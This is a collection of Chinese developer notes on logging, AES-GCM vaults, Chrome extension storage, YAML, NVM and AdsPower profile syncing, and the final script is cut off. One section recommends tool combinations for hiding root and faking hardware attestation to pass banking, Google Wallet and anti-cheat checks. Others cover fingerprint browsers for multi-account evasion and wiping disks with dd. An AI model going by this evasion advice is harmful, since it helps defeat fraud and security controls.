上游服务不可达找到 Caused by 后再针对异常类型排查。 大日志文件的搜索技巧 # 只看有关键字的行(不展示上下文) grep "关键字" /var/log/app.log | tail -20# 统计出现次数 grep -c "ERROR" /var/log/app.log# 按时间段提取(前提:日志每行以时间开头) awk '/2025-11-15 13:5[0-9]/' /var/log/app.logjournalctl 常用参数速查 journalctl -u <service> # 指定服务 journalctl -u <service> -n 100 # 最新 100 行 journalctl -u <service> -f # 实时跟踪 journalctl -u <service> -o short-iso # ISO 时间戳(含年份) journalctl -u <service> -p err # 只看 error 级别 journalctl --since "1 hour ago" # 最近 1 小时 journalctl --disk-usage # 日志占用磁盘 journalctl --vacuum-time=7d # 清理 7 天前日志
Python 实现 PBKDF2 + AES-256-GCM 加密存储
PBKDF2 + AES-GCM 是本地加密存储(钱包 vault、配置文件保护)的标准方案:密码经 PBKDF2 派生出密钥,AES-GCM 提供加密和完整性验证。 加密流程 Password ↓ PBKDF2-HMAC-SHA512(iterations=600000, salt=随机16字节) ↓ 32 字节 AES Key ↓ AES-256-GCM(nonce=随机16字节) ↓ Ciphertext + Tag安装依赖 pip install pycryptodome完整实现 import json import os import base64 from hashlib import pbkdf2_hmac from Crypto.Cipher import AESPBKDF2_ITERATIONS = 600_000 # NIST 2023 推荐最低值def derive_key(password: str, salt: bytes) -> bytes: return pbkdf2_hmac( "sha512", password.encode("utf-8"), salt, PBKDF2_ITERATIONS, dklen=32, # AES-256 )def encrypt(password: str, plaintext: str) -> dict: salt = os.urandom(16) nonce = os.urandom(16) key = derive_key(password, salt) cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) ciphertext, tag = cipher.encrypt_and_digest(plaintext.encode("utf-8")) return { "salt": base64.b64encode(salt).decode(), "nonce": base64.b64encode(nonce).decode(), "ciphertext": base64.b64encode(ciphertext).decode(), "tag": base64.b64encode(tag).decode(), }def decrypt(password: str, vault: dict) -> str: salt = base64.b64decode(vault["salt"]) nonce = base64.b64decode(vault["nonce"]) ciphertext = base64.b64decode(vault["ciphertext"]) tag = base64.b64decode(vault["tag"]) key = derive_key(password, salt) cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) plaintext = cipher.decrypt_and_verify(ciphertext, tag) return plaintext.decode("utf-8")使用示例 # 加密 secret = '{"privateKey": "0xabcd..."}' vault = encrypt("my_strong_password", secret)# 存储为 JSON with open("vault.json", "w") as f: json.dump(vault, f, indent=2)# 解密 with open("vault.json") as f: vault = json.load(f)plaintext = decrypt("my_strong_password", vault) print(plaintext)vault.json 格式: { "salt": "base64...", "nonce": "base64...", "ciphertext": "base64...", "tag": "base64..." }为什么选 AES-GCM 而非 CBC模式 加密 完整性验证 推荐AES-CBC ✅ ❌(需额外 HMAC) 不推荐新项目AES-GCM ✅ ✅(内置 Tag) ✅ 推���AES-CTR ✅ ❌ 需配合 HMACGCM 模式同时提供加密和认证,decrypt_and_verify 会在解密前验证 Tag,密文被篡改时抛出 ValueError。 关键参数说明 PBKDF2 迭代次数:越高越安全,NIST 2023 建议 SHA-512 至少 210,000 次,MetaMask 等钱包用 600,000 次。代价是派生速度变慢(约 0.5~2 秒),对正常用户不感知,但让暴力破解成本提高数十万倍。 salt 唯一性:每次加密生成新的随机 salt,防止相同密码产生相同密钥(彩虹表攻击)。salt 不需要保密,公开存储即可。 nonce 唯一性:GCM 的 nonce 绝对不能重用于同一密钥,否则 GCM 的安全性完全崩溃。每次加密随机生成是最安全的做法。 密码错误时的行为 try: plaintext = decrypt("wrong_password", vault) except ValueError: print("密码错误或数据被篡改")decrypt_and_verify 验证 Tag 失败时抛出 ValueError,不会泄漏任何明文信息。
Permissions Policy Violation: unload is not allowed 是什么
Chrome 控制台偶尔出现: [Violation] Permissions policy violation: unload is not allowed in this document.不是代码报错,是一条警告。 原因 Chrome 正在逐步废弃 unload 事件,因为注册了 unload 的页面无法进入 BFCache(Back/Forward Cache),会降低导航性能。某些页面策略或 iframe 设置下,unload 会被直接禁止,此时任何注册 unload 的代码都会打印这条 Violation。 常见触发场景:第三方 SDK(Sentry、埋点、广告脚本)注册了 unload 旧版 Citrix/Enterprise 插件 页面在 <iframe> 里,父页面设置了 Permissions-Policy: unload=()是否影响功能 通常不影响。[Violation] 只是警告,页面照常运行,unload 回调不会执行而已。如果你的业务逻辑依赖 unload(如发送离开事件),需要改用 visibilitychange 或 pagehide。 查看当前页面的 Permissions Policy 方法一:Network 响应头 打开 DevTools → Network,刷新页面,点击 HTML 文档请求 → Response Headers,查找: Permissions-Policy: unload=()方法二:控制台查询 // 查看 unload 是否被策略禁止 document.permissionsPolicy?.allowsFeature("unload")// 查看所有允许的特性 document.permissionsPolicy.allowedFeatures()// 抓取当前页面响应头 fetch(location.href) .then(r => console.log(r.headers.get("Permissions-Policy")))定位是谁注册了 unload // 查看 window 上注册了哪些 unload 监听器 getEventListeners(window).unload// 查看 beforeunload getEventListeners(window).beforeunload如果有结果,点击 listener 里的函数名可以跳转到 Sources 对应代码。 也可以在 Sources 全局搜索: addEventListener("unload" window.onunload beforeunload推荐替代方案 // 替代 unload:页面对用户不可见时触发 document.addEventListener("visibilitychange", () => { if (document.visibilityState === "hidden") { // 发送最后的数据 navigator.sendBeacon("/api/leave", payload); } });// 替代 beforeunload(不阻塞 BFCache) window.addEventListener("pagehide", (e) => { if (e.persisted) { // 页面进入 BFCache,不是真正关闭 } });navigator.sendBeacon 在页面隐藏时异步发送请求,不阻塞页面关闭,是发送离开事件的首选方案。 Chrome Extension 的本地存储 Chrome 扩展用 chrome.storage.local 存储的数据保存在: Windows: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\<扩展ID> macOS: ~/Library/Application Support/Google/Chrome/Default/Local Extension Settings/<扩展ID>目录内容是 LevelDB 格式(.log、.ldb 文件),不是纯文本。查看方法: # 在扩展页面控制台读取(需要 Inspect views 权限) chrome.storage.local.get(null, console.log)或用 Python plyvel 解析: import plyveldb = plyvel.DB("/path/to/extension/storage", create_if_missing=False) for k, v in db: print(k.decode(errors="replace")) print(v.decode(errors="replace")) db.close()注意:读取时浏览器需要关闭,否则 LevelDB 文件被锁。
格式化后文件仍存在:USB Mass Storage Gadget 只读模式排查
现象描述 USB Mass Storage Gadget 格式化完后:旧文件还在 可以创建新文件、写入数据 删除文件提示成功,重插后文件又出现原因分类 1. 存储设备进入只读模式 U 盘、TF 卡、eMMC 出现坏块时控制器会自动切换为 Read-Only。表现为删除"成功"但重新挂载后文件复原。 Linux 排查: dmesg | grep -i readonly dmesg | grep -i "write protect"出现以下字样即确认只读: Write Protect is on switching to read-only mode mmcblk0: read only2. Gadget 镜像文件损坏 如果通过镜像文件方式挂载(echo /data/usb.img > lun/file),镜像内 FAT/exFAT 文件系统可能损坏: # 检查镜像文件系统 fsck.vfat usb.img # 或 dosfsck usb.img3. Windows 快速格式化未重建文件系统 Windows "快速格式化"只重写 FAT 表,不实际清除旧数据,旧文件仍可被恢复工具读取。 彻底解决方式: 磁盘管理 → 删除分区 → 新建分区 → 完整格式化(取消勾选"快速格式化")4. OverlayFS 层隔离(Android Root 环境) TrickyStore、KernelSU、Magisk 等工具可能挂载了 OverlayFS,删除的是上层(upperdir),底层(lowerdir)文件仍然存在,重挂载后又出现。 mount | grep overlay如有输出,需要先卸载 overlay 再操作底层文件系统。 5. NAND Flash 已损坏 最符合"能写入但删除无效"的情形:控制器接收了写入缓存但没有真正落盘,重插后旧数据回来。 验证方式: touch test.txt && sync rm test.txt && sync umount /dev/sdX && mount /dev/sdX /mnt ls /mnt/test.txt # 如果文件还在,基本确认存储介质损坏修复方法 U 盘 / TF 卡(Linux) # 用 diskpart 或 dd 低格 sudo dd if=/dev/zero of=/dev/sdX bs=1M status=progressU 盘 / TF 卡(Windows) 以管理员运行 CMD: diskpart list disk select disk N clean create partition primary format fs=fat32 quick assign exitAndroid/Linux 开发板 eMMC eMMC 只读后一般无法软件修复,需要更换存储模块或使用厂商专用刷机工具重新初始化 flash 控制器。 快速定位表现象 最可能原因删除后重插文件回来 NAND 只读 / OverlayFS格式化后旧文件可见但访问慢 快速格式化(未清除)fsck 报错 镜像文件 FAT 损坏dmesg 有 write protect 存储介质已进入只读保护
6000 张图做 YOLO 辅助标注:一个大模型还是拆多个
数据集里 6000 张图,想训一个 YOLO 做预标注(不是最终部署)——是把所有类别塞一个模型,还是按大类拆多个?答案要看你的类别怎么分。 场景 1:类别相近 → 一个大模型 比如都是路面场景:person、car、bus、truck、traffic_light——目标形态接近、上下文相似,塞一个模型没问题: # data.yaml nc: 20 names: - person - car - bus - truck - traffic_light - ...优点:只维护一个模型 推理一次拿全部结果 6000 张图对 YOLOv8s / YOLO11s 一点都不多,一晚上跑完 类别之间可能有互相约束(比如"斑马线附近容易有 person"),单模型能学到场景 2:类别跨度大 → 拆多个模型 要标的东西差别巨大: 交通标志:限速 / 禁停 / 左转 / 右转 车辆:car / bus / truck 家具:chair / table / sofa三个域完全不同的时候,一个模型很容易顾此失彼——训到最后 mAP 只是 balance 出的中间值。每个域一个小模型:交通标志检测模型 车辆检测模型 家具检测模型优点:新加一个大类不用重训全部 小模型训练快、精度高 误检更少(不会拿"椅子"当"汽车")缺点:推理跑多个模型 管理麻烦(模型 → 类别 → 版本)场景 3:类别很多且分层 → 分级流水线 CVAT / LabelStudio 等专业标注平台常用的做法——粗定位 + 细分类: 一级:粗定位(找目标) │ ├─ person ├─ vehicle ├─ animal ├─ traffic_sign └─ building二级:细分类(每个粗类一个小模型) ├─ traffic_sign │ ├─ speed_limit │ ├─ stop │ ├─ turn_left │ └─ turn_right ├─ vehicle │ ├─ car / bus / truck / bike └─ ...粗模型只负责"找到候选框",细分类器(可以是分类模型不是检测)判定具体类别。这套结构对增加新细类特别友好——只改对应二级分类器就行。 配合 SAM 类分割模型:SAM 出 mask → YOLO 分类头判定 → 输出精细标注。这是当前自动标注前沿方案。 6000 张的容量参考YOLOv8n / YOLO11n:几百到几千张就能有效果,训练几十分钟 YOLOv8s / YOLO11s:6000 张的甜蜜点,训练 1-3 小时 YOLOv8m / YOLO11m:需要至少 1 万张才发挥优势 YOLOv8l / YOLOv8x:几万张起步6000 张选 s / m,别上 l 或 x——过拟合概率大。 类别不平衡怎么办 6000 张里可能某些类别几百张、某些类别几十张。方法:加数据增强:mixup、mosaic、hsv、rotation——Ultralytics 默认就开 加权采样:class_weights 让少数类被多次采样 合并罕见类:训不动的类临时合并成"其它",先跑通再迭代 cascade:稀有类先由粗模型定位,再单独训一个二分类判定辅助标注 vs 最终部署 辅助标注模型要求:Recall 优先(宁多勿少,人工再删) Precision 差点没事 速度不用极致最终部署模型要求:Precision + Recall 都要 速度 / 显存有约束 需要严格评测两者训练策略也不一样。辅助标注可以 confidence 阈值调低(比如 0.15),把所有可疑目标都框出来,让人复核。 推荐做法 如果类别 <= 30、都是相似的场景:一个 YOLOv8s / YOLO11s 模型,配合置信度 0.15-0.25 做辅助标注,人工审核补漏。 类别 >= 50 或者跨大类:每个大类一个模型,或者上"检测 + 分类"分级流水线。 一句话总结 类别相近 → 一个大模型;跨度大 → 拆多个;类别多且分层 → 检测 + 分类分级。辅助标注就调低 confidence 让人复核,比追求高 precision 更实用。
OpenCode Browser 扩展能做什么:与 Chrome DevTools MCP 的差异
两种方案的架构对比 OpenCode Browser(扩展方式) Chrome DevTools MCP(CDP 方式)OpenCode OpenCode ↓ ↓ Native Messaging MCP Server ↓ ↓ Chrome Extension Chrome DevTools Protocol (CDP) ↓ ↓ DOM / Tab 操作 完整 DevTools 能力OpenCode Browser 扩展连接方式更轻量,不需要打开 --remote-debugging-port,官方说明"No DevTools Protocol, no security prompts"。 OpenCode Browser 能做什么能力 支持导航(跳转 URL) ✅点击元素 ✅输入文本 ✅获取页面 DOM / 文本 ✅截图 ✅读取 <script> 标签内容 ✅读取 window.localStorage / sessionStorage 取决于扩展实现监听 Network 请求(XHR/fetch/WebSocket) ❌设置 JS 断点 ❌查看 Webpack/闭包内变量 ❌Memory Snapshot / Performance Profile ❌拦截/修改请求 ❌Chrome 扩展标准 API(chrome.scripting.executeScript)可以在页面上下文执行脚本,所以凡是挂在 window 上的对象(window.__NEXT_DATA__、window.__INITIAL_STATE__ 等)都可以读取。 但 webpack 闭包内的局部变量: ;(() => { const token = "abc123"; // ← 扩展拿不到这个 })();无论是 OpenCode Browser 还是普通扩展都无法直接访问,必须通过 DevTools Protocol 的 Runtime.evaluate 或断点能力才能拿到。 什么时候用 Chrome DevTools MCP 如果目标是:分析混淆 JS、逆向加密参数 Hook XHR / fetch / WebSocket 请求 查看 React/Vue 组件状态树 抓取动态签名、Token 设置断点、单步执行应该改用支持 CDP 的 MCP 方案,例如通过 --remote-debugging-port=9222 启动 Chrome,再连接 CDP: google-chrome --remote-debugging-port=9222 --user-data-dir=/tmp/debug-profile然后 MCP Server 通过 WebSocket 连接 ws://localhost:9222 调用 CDP 接口。 CDP 可以做到: Sources → 设置断点 Network → 查看所有请求/响应 Console → 执行任意 JS Memory → Heap Snapshot如果目标是指纹浏览器(Adspower 等) OpenCode Browser 扩展控制 Chrome 不能隐藏浏览器指纹(Canvas、WebGL、TLS、WebRTC 等),这些由浏览器本身决定。 需要多账号防关联的场景通常走另一条路: OpenCode / Playwright ↓ Adspower / MultiLogin 本地 API ↓ 指纹浏览器实例通过 Adspower 提供的 REST API 创建/启动指纹浏览器,再用 Playwright 连接其 CDP 端口操作页面。 小结 OpenCode Browser 扩展的定位是自动化操作真实浏览器(点击、填表、截图、爬内容),适合不需要深层 JS 调试的 RPA 和 AI Agent 场景。需要分析 JS 执行过程或拦截网络请求时,应切换到 CDP 方案。
TrickyStore 替代方案:2026 年 Android Root 通过 Play Integrity 的主流组合
背景 TrickyStore 的核心功能是:劫持 Android KeyStore,注入 Keybox,伪造 TEE 硬件证明(Hardware Attestation),让 Play Integrity 拿到 MEETS_STRONG_INTEGRITY。 2026 年 Google 大规模推进 RKP(Remote Key Provisioning),设备 Keybox 越来越多通过远程下发,公开泄露的 Keybox 被大量封禁,TrickyStore 的有效性明显下降。 主流替代方案对比方案 用途 推荐度Play Integrity Fork Device / Basic Integrity 修复 ⭐⭐⭐⭐⭐ReZygisk 替代原生 Zygisk ⭐⭐⭐⭐Shamiko Root 痕迹隐藏 ⭐⭐⭐⭐HMA-OSS(Hide My Applist) 隐藏 Root、LSPosed、模块列表 ⭐⭐⭐⭐KernelSU Next + SUSFS Kernel 级隐藏,最难检测 ⭐⭐⭐⭐⭐TrickyStore Strong Integrity / TEE 硬件证明 ⭐⭐⭐(RKP 影响下效果变弱)各场景推荐组合 银行 App(不要求 Strong Integrity) Play Integrity Fork + HMA-OSS + ReZygisk很多银行只要求 DEVICE_INTEGRITY,更多是检测:Root 文件、Bootloader 状态、Magisk/LSPosed 痕迹、可疑 App 列表。HMA-OSS 可以对指定 App 隐藏已安装列表,避免被扫描到 Root 工具。 Google Wallet Google Wallet 目前仍需要 STRONG_INTEGRITY,TrickyStore 仍然是成功率最高的方案,没有更好的替代: TrickyStore + Play Integrity ForkKeybox 失效后需要更换有效的私有 Keybox,公开 Keybox 已不可靠。 游戏(Pokemon GO、吃鸡等) 游戏越来越少单纯依赖 Play Integrity,更多依赖自己的反作弊检测: KernelSU Next + SUSFS + HMA-OSSSUSFS 在内核层隐藏 /proc、/sys 特征,比用户空间隐藏更彻底,是目前社区反作弊对抗的主流选择。 完全放弃 TrickyStore 的通用方案 KernelSU Next + SUSFS + ReZygisk + Play Integrity Fork对绝大部分银行 App 和普通应用可以通过 BASIC + DEVICE Integrity,已经够用。 Magisk 体系 vs KernelSU 体系维度 Magisk 体系 KernelSU 体系方式 修改 boot.img 内核模块隐藏难度 中(用户空间检测较容易发现) 高(内核层操作更底层)兼容性 广(绝大多数设备) 需要设备支持 KMI 或自编译内核Zygisk 原生支持 需 ReZygiskSUSFS 支持 有 susfs4magisk,但效果弱于 KernelSU 原生支持,效果最好重要说明 银行 App 实际检测逻辑通常不只看 Play Integrity,还包括:/proc/mounts 是否有可疑挂载 系统分区是否有异常文件 可疑进程名(magiskd、zygote64d 等) 已安装 App 列表(通过 PackageManager)即使 Play Integrity 全部通过,Root 痕迹未隐藏干净仍可能被识别。HMA-OSS 对目标 App 可以精确控制可见的应用列表,是隐藏 Root 工具的关键一步。
NVM 安装与配置:macOS/Linux 和 Windows 环境变量设置,npm 找不到的排查
macOS / Linux 配置 安装 nvm 后,需要在 Shell 配置文件中初始化脚本,否则每次新开终端都找不到 nvm 命令。 在 ~/.zshrc(zsh)或 ~/.bashrc(bash)末尾添加: export NVM_DIR="$HOME/.nvm" [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" [ -s "$NVM_DIR/bash_completion" ] && \. "$NVM_DIR/bash_completion"重新加载: source ~/.zshrc # 或 source ~/.bashrc验证: nvm -vWindows(nvm-windows)配置 nvm-windows 安装后需要两个系统环境变量: NVM_HOME=C:\Users\<用户名>\AppData\Roaming\nvm NVM_SYMLINK=C:\Program Files\nodejs并在 Path 中加入: %NVM_HOME% %NVM_SYMLINK%验证(重开终端后): nvm version node -v npm -v查看当前配置: nvm root # nvm 安装目录 where nvm # 命令位置常用命令 # 安装指定版本 nvm install 22 nvm install 20.11.0# 查看已安装版本 nvm list# 切换版本 nvm use 22# 设置默认版本(新终端自动激活) nvm alias default 22# 查看当前使用的版本 nvm current node -vnpm 找不到的排查 原因一:还没安装 Node nvm list # 如果为空,先 install nvm install 22 nvm use 22原因二:版本未激活 nvm current # 输出 none 或系统版本 nvm use 22原因三:没有设置 default alias 新开终端后 nvm 不会自动激活任何版本: nvm alias default 22设置后新终端自动使用该版本。 原因四:Windows PATH 配置错误 where node where npm echo %NVM_SYMLINK%如果 where node 返回空或旧路径,检查 NVM_SYMLINK 是否指向 nvm 创建的 nodejs 符号链接目录,并确认 %NVM_SYMLINK% 在 PATH 中。 项目级 Node 版本锁定 在项目根目录创建 .nvmrc: 22进入目录后执行: nvm use # 自动读取 .nvmrc 切换版本配合 .nvmrc 可以保证团队成员使用相同的 Node 版本。
Python 读取 YAML:safe_load 和转对象访问
Python 里读 YAML 配置文件,标准做法就是 PyYAML。 安装 pip install pyyaml示例配置 config.yaml: server: host: 127.0.0.1 port: 8000database: user: root password: 123456names: - alice - bob基础读取 import yamlwith open("config.yaml", "r", encoding="utf-8") as f: data = yaml.safe_load(f)print(data["server"]["host"]) # 127.0.0.1 print(data["names"]) # ['alice', 'bob']永远用 safe_load,别用 yaml.load。safe_load 拒绝任意 Python 对象反序列化,避开加载不受信配置时的 RCE 风险。 转对象访问(少写引号) 字典下标写多了嫌烦,可以套一层 SimpleNamespace: from types import SimpleNamespace import yamlwith open("config.yaml", encoding="utf-8") as f: data = yaml.safe_load(f)cfg = SimpleNamespace(**data) print(cfg.server) # 但 cfg.server 还是 dict只包一层不够——嵌套的字典还得递归转: from types import SimpleNamespace import yamldef to_obj(d): if isinstance(d, dict): return SimpleNamespace(**{k: to_obj(v) for k, v in d.items()}) if isinstance(d, list): return [to_obj(i) for i in d] return dwith open("config.yaml", encoding="utf-8") as f: cfg = to_obj(yaml.safe_load(f))print(cfg.server.host) # 127.0.0.1 print(cfg.database.user) # root工程项目更推荐用 pydantic.BaseModel 或 dataclass——能顺带做类型校验: from pydantic import BaseModel import yamlclass ServerCfg(BaseModel): host: str port: intclass Config(BaseModel): server: ServerCfg names: list[str]with open("config.yaml", encoding="utf-8") as f: cfg = Config(**yaml.safe_load(f))print(cfg.server.host)输出 YAML 反向写文件同样常用: import yamldata = {"server": {"host": "0.0.0.0", "port": 80}}with open("out.yaml", "w", encoding="utf-8") as f: yaml.safe_dump(data, f, allow_unicode=True, sort_keys=False)allow_unicode=True 中文不会变成 \uXXXX sort_keys=False 保持字段顺序一句话总结 yaml.safe_load(open(..., encoding="utf-8")) 起步,需要结构化访问就 pydantic。写回用 safe_dump + allow_unicode=True。
Python 读写 YAML:pyyaml safe_load / dump 常用选项
Python 读写 YAML 文件用 PyYAML,核心只有两个函数:yaml.safe_load 和 yaml.dump。 安装 pip install pyyaml读取 YAML # config.yaml server: host: 127.0.0.1 port: 8000database: user: root password: secret123names: - alice - bobimport yamlwith open("config.yaml", "r", encoding="utf-8") as f: data = yaml.safe_load(f)print(data["server"]["host"]) # 127.0.0.1 print(data["names"]) # ['alice', 'bob']用 safe_load 而不是 load——load 会执行 YAML 里嵌入的 Python 代码,存在安全风险。 写出 YAML import yamldata = { "server": {"host": "127.0.0.1", "port": 8000}, "database": {"user": "root", "password": "secret123"}, "names": ["alice", "bob"] }with open("output.yaml", "w", encoding="utf-8") as f: yaml.dump( data, f, allow_unicode=True, # 中文不转成 \uXXXX sort_keys=False # 保持原字典顺序 )默认 sort_keys=True,会按字母排序;allow_unicode=False 会把中文转成 \uXXXX——一般都要加这两个参数。 输出为字符串 yaml_str = yaml.dump(data, allow_unicode=True, sort_keys=False) print(yaml_str)修改 YAML 文件(读取后更新) import yamlwith open("config.yaml", encoding="utf-8") as f: cfg = yaml.safe_load(f)cfg["server"]["port"] = 9000 cfg["names"].append("carol")with open("config.yaml", "w", encoding="utf-8") as f: yaml.dump(cfg, f, allow_unicode=True, sort_keys=False)转成对象访问(点号语法) 如果不喜欢 data["server"]["host"],可以转成 SimpleNamespace: from types import SimpleNamespace import yamldef to_obj(d): if isinstance(d, dict): return SimpleNamespace(**{k: to_obj(v) for k, v in d.items()}) if isinstance(d, list): return [to_obj(i) for i in d] return dwith open("config.yaml", encoding="utf-8") as f: config = to_obj(yaml.safe_load(f))print(config.server.host) # 127.0.0.1 print(config.database.user) # root常见坑 名称含冒号的字符串要加引号,否则 YAML 解析出错: # 错误 name: O:# 正确 name: "O:"字段名问题:Clash Meta 等工具要求字段名是 port,不能是 server_port。读取 sing-box 格式(用 server_port)再写入 Clash 配置时记得手动映射: clash_node = { "name": node["tag"], "server": node["server"], "port": node["server_port"], # 注意字段名 "type": node["type"], }直接 yaml.dump(singbox_node) 生成的字段名 Clash 不认,会报 has unset fields: port。
ModuleNotFoundError: 'Crypto' — pycryptodome 与 pycryptodomex 的坑
代码里: from Crypto.Cipher import AES一跑就崩: ModuleNotFoundError: No module named 'Crypto'网上一查装个 pycrypto——别装,那个包 2013 年就停维护了,还有已知漏洞。 两个包,两个命名空间 现在的正主是这两个,装错任何一个都不通用:包名 导入命名空间pycryptodome from Crypto...pycryptodomex from Cryptodome...pycryptodome:兼容老代码,占用 Crypto 顶层名字 pycryptodomex:改名版本,把命名空间挪到 Cryptodome,避免和老 pycrypto 冲突同一个环境里最多装一个。要是老代码用 from Crypto...,就装 pycryptodome。 装到虚拟环境里,别装到系统 Python PyCharm / VSCode 打开项目通常自动激活了虚拟环境(比如 .venv),但你在别的终端 pip install 时可能装到系统 Python 去了: pip install pycryptodome # 装哪儿了?看运气最稳的写法是显式用当前项目的 Python: D:\Projects\myapp\.venv\Scripts\python.exe -m pip install pycryptodome或者: py -m pip install pycryptodome # Windows py launcher python -m pip install pycryptodome # 当前激活的解释器检查装到哪里了 where python python -c "import sys; print(sys.executable)" python -m pip show pycryptodomeLocation 字段就是包所在目录,肉眼比对一下是不是当前项目的 site-packages。 老代码遇到 pycryptodomex 某些镜像里预装的是 pycryptodomex。老代码不想改的话,兼容层写一下: try: from Crypto.Cipher import AES except ImportError: from Cryptodome.Cipher import AES一句话总结 Crypto = pycryptodome,Cryptodome = pycryptodomex,二选一装到当前项目 Python 里。用 python -m pip install 比裸 pip install 稳。
Python pycryptodome、shutil 目录同步与 tqdm 进度条、PyInstaller 打包
pycryptodome:No module named 'Crypto' 安装了 pycryptodome 但运行时报错: ModuleNotFoundError: No module named 'Crypto'原因:pycryptodome 安装后的导入路径是 Crypto(大写C),和旧版 pycrypto 同名,但两者不兼容。虚拟环境里如果同时装了两个就会冲突。 解决: pip uninstall pycrypto pycryptodome pip install pycryptodome导入方式不变: from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad如果想用 Cryptodome 命名空间(与 pycrypto 完全隔离),改装 pycryptodomex: pip install pycryptodomexfrom Cryptodome.Cipher import AES虚拟环境里确认安装: pip list | grep -i crypto # pycryptodome 3.20.0shutil 目录同步加 tqdm 进度条 shutil.copytree 不支持进度回调,需要手动遍历: import shutil from pathlib import Path from tqdm import tqdmdef sync_dir(src: Path, dst: Path): files = [f for f in src.rglob("*") if f.is_file()] dst.mkdir(parents=True, exist_ok=True) for src_file in tqdm(files, desc="复制中", unit="file"): rel = src_file.relative_to(src) dst_file = dst / rel dst_file.parent.mkdir(parents=True, exist_ok=True) shutil.copy2(src_file, dst_file)shutil.copy2 会保留原文件的修改时间和权限位。 覆盖前备份,保留最近 N 个 from datetime import datetimedef backup_and_replace(src: Path, dst: Path, keep=5): if dst.exists(): ts = datetime.now().strftime("%Y%m%d_%H%M%S") backup = dst.parent / f"{dst.name}_bak_{ts}" dst.rename(backup) # 清理旧备份,只保留最近 keep 个 baks = sorted(dst.parent.glob(f"{dst.name}_bak_*")) for old in baks[:-keep]: shutil.rmtree(old) sync_dir(src, dst)PyInstaller 打包后路径检测 -F 打包成单文件 exe 后,__file__ 不再可用,需要用 sys.executable: import sys from pathlib import Pathif getattr(sys, "frozen", False): # 打包环境:exe 所在目录 BASE_DIR = Path(sys.executable).parent else: # 开发环境:脚本所在目录 BASE_DIR = Path(__file__).parentCONFIG_PATH = BASE_DIR / "config.json"sys.frozen 在 PyInstaller 打包环境下为 True,普通 Python 解释器下不存在(getattr 返回 False)。 打包命令: pyinstaller -F -n mytool --noconsole main.py-F:单文件 -n mytool:输出名称 --noconsole:不弹出控制台窗口(GUI 工具用)完整示例:插件目录同步工具 import sys import json import shutil from pathlib import Path from datetime import datetime from tqdm import tqdmBASE_DIR = Path(sys.executable).parent if getattr(sys, "frozen", False) else Path(__file__).parent CONFIG = json.loads((BASE_DIR / "config.json").read_text(encoding="utf-8"))SRC = Path(CONFIG["src"]) DST = Path(CONFIG["dst"])def backup(dst: Path, keep=5): if not dst.exists(): return ts = datetime.now().strftime("%Y%m%d_%H%M%S") dst.rename(dst.parent / f"{dst.name}_bak_{ts}") for old in sorted(dst.parent.glob(f"{dst.name}_bak_*"))[:-keep]: shutil.rmtree(old)def copy_with_progress(src: Path, dst: Path): files = [f for f in src.rglob("*") if f.is_file()] dst.mkdir(parents=True, exist_ok=True) for f in tqdm(files, unit="file"): rel = f.relative_to(src) out = dst / rel out.parent.mkdir(parents=True, exist_ok=True) shutil.copy2(f, out)backup(DST) copy_with_progress(SRC, DST) print("同步完成")config.json: { "src": "C:/Users/用户名/AppData/Roaming/adspower_global/cwd_global/chrome/Default", "dst": "D:/backup/chrome_profile" }
Chrome 扩展数据存放位置:LevelDB 与 IndexedDB
Chrome 扩展的 chrome.storage.local 数据并不存在普通的 localStorage 里,而是存在用户数据目录下以 LevelDB 格式保存的独立数据库中。 数据存放路径 Windows # Chrome C:\Users\用户名\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\# Edge C:\Users\用户名\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\每个扩展一个子目录,目录名是扩展 ID: Local Extension Settings\ ├── nkbihfbeogaeaoehlefnkodbefgpgknn\ ← MetaMask │ ├── LOG │ ├── CURRENT │ ├── MANIFEST-000001 │ └── 000003.ldb └── cjpalhdlnbpafiamejdnhcphjbkeiagm\ ← uBlock Origin里面是 LevelDB 格式,不能直接用文本编辑器读取。 macOS ~/Library/Application Support/Google/Chrome/Default/Local Extension Settings/找到扩展 ID 打开 chrome://extensions/,开启右上角开发者模式,即可看到每个扩展的 ID(32 位小写字母)。 在 DevTools 中读取扩展数据 打开扩展的背景页(Service Worker):chrome://extensions/ → 点击扩展的"检查视图:Service Worker"或"background page" 在 DevTools Console 中:// 读取所有 storage.local 数据 chrome.storage.local.get(null, console.log);// 或 const data = await chrome.storage.local.get(); console.log(data);其他存储类型路径 Default\ ├── Local Extension Settings\ ← chrome.storage.local(LevelDB) ├── Extension State\ ← chrome.storage.session ├── IndexedDB\ ← IndexedDB │ └── chrome-extension_xxx.indexeddb.leveldb └── Session Storage\ ← sessionStorageAdsPower 多配置文件批量同步扩展数据 AdsPower 的每个浏览器配置文件存在各自的 cache 目录下,批量同步扩展 LevelDB 数据: import json import shutil import sys from pathlib import Path from datetime import datetime from tqdm import tqdmCONFIG_FILE = Path("config.json") EXT_DIR = "mcohilncbfahbmgdjkbpemcciiolgcge" # 扩展 IDDEFAULT_CONFIG = { "src": r"D:\.ADSPOWER_GLOBAL\cache", "dst": r"D:\ads\.ADSPOWER_GLOBAL\cache" }if not CONFIG_FILE.exists(): with open(CONFIG_FILE, "w", encoding="utf-8") as f: json.dump(DEFAULT_CONFIG, f, indent=4, ensure_ascii=False) print("已创建 config.json,请修改后重新运行") sys.exit(0)with open(CONFIG_FILE, "r", encoding="utf-8") as f: config = json.load(f)src_root = Path(config["src"]) dst_root = Path(config["dst"])# 找出所有包含目标扩展数据的配置文件目录 tasks = [ d for d in src_root.iterdir() if d.is_dir() and (d / "Default" / "Local Extension Settings" / EXT_DIR).exists() ]print(f"发现 {len(tasks)} 个配置需要同步")for index, cache_dir in enumerate(tasks, 1): src = cache_dir / "Default" / "Local Extension Settings" / EXT_DIR dst = dst_root / cache_dir.name / "Default" / "Local Extension Settings" / EXT_DIR print(f"\n[{index}/{len(tasks)}] {cache_dir.name}") # 备份旧目录(加时间戳,不直接删除) if dst.exists(): backup = dst.parent / f"{dst.name}_backup_{datetime.now():%Y%m%d_%H%M%S}" dst.rename(backup) # 只保留最近 5 个备份 backups = sorted(dst.parent.glob(f"{dst.name}_backup_*"), key=lambda p: p.stat().st_mtime, reverse=True) for old in backups[5:]: shutil.rmtree(old) dst.mkdir(parents=True, exist_ok=True) files = [f for f in src.rglob("*") if 